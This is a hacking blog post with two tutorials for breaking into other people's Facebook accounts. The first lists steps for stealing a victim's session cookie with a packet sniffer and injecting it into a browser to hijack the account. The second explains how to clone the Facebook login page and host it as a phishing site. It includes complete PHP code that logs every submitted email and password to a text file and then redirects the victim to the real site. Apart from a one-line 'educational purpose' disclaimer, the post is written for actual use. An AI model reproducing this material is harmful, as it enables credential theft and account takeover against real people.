How to hack Facebook using Cookie logging



We talked about How to hack Facebook account using Phishing. Today, I am going to inform you the method to hack a Facebook account using Cookie Stealing. If you have not yet gone through my previous Cookie stealing articles, please read them before you proceed further in this article on how to hack a Facebook account.


How to hack a Facebook account: -


Facebook usually authenticates its user using cookies. So, whenever user logs in to his account, Facebook server sends a session cookie to user browser and this cookie is used by server to authenticate the user. So, if you are possessing the victim account’s cookie, Facebook will grant you the access to victim account.


Steps to hack Facebook account: -


1.   Using Wireshark or HTTP Debugger Pro, capture the cookie of victim Facebook account.
     2.   Install Greasemonkey and CookieInjector script in your Firefox. Restart     Firefox.


 3.   Now, go to Facebook.com. Make sure you are not logged in. Using keyboard, press Alt+C to see a text box. Enter the victim cookie you have copied in Step 1 in this text box and hit on Enter.


4.   Now, simply refresh your Facebook page and you will find yourself logged in to victim’s Facebook account.

Read More!

How To hack Facebook(Phishing)






Hacking Facebook By Phishing/Fake Page



Note: This content is for educational purpose only. Any script or attribute used for any antisocial material will not be tolerated.

In this tutorial we will learn how to create a facebook fake page which will look same as https://www.facebook.com, except the link address.


Step 1



For making a facebook fake page we first need a free webhosting site for e.g.,http://www.000webhost.com. Create a free account here and we are done with the hosting thing. now comes the fake page. For this job we first need to copy the source code of the login page of facebook..Just go to https://www.facebook.com and right click on the screen and click on view page source and copy this and paste it to an simple text file and save the file as index.html. Now open the file on a text editor and search for [form id="login_form" action="https://www.facebook.com/login.php?login_attempt=1"] and replace "https://www.facebook.com/login.php?login_attempt=1" with login.php and save the file



Step 2





login.php


Copy the below code and paste it in a file and then save the file as login.php

<?php
header ('Location: https://www.facebook.com/login.php?login_attempt=1 ');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

we are done with the php section now we need to create a blank text file and name it as log and save it ...




Now we have to upload these three files [index.html, login.php and log.txt] to the hosting account which we have created in the begining



we are all done now, just copy the link of the index.html and try to enter a email and password and then open log.txt if your input is present in that file then there's no mistake, if it doesnot work then please check for spelling mistakes, php codes and location of the files you uploaded. Note that the file should be in the same folder.

Thankyou and have a nice day

Don't forget to subscribe ;)
Read More!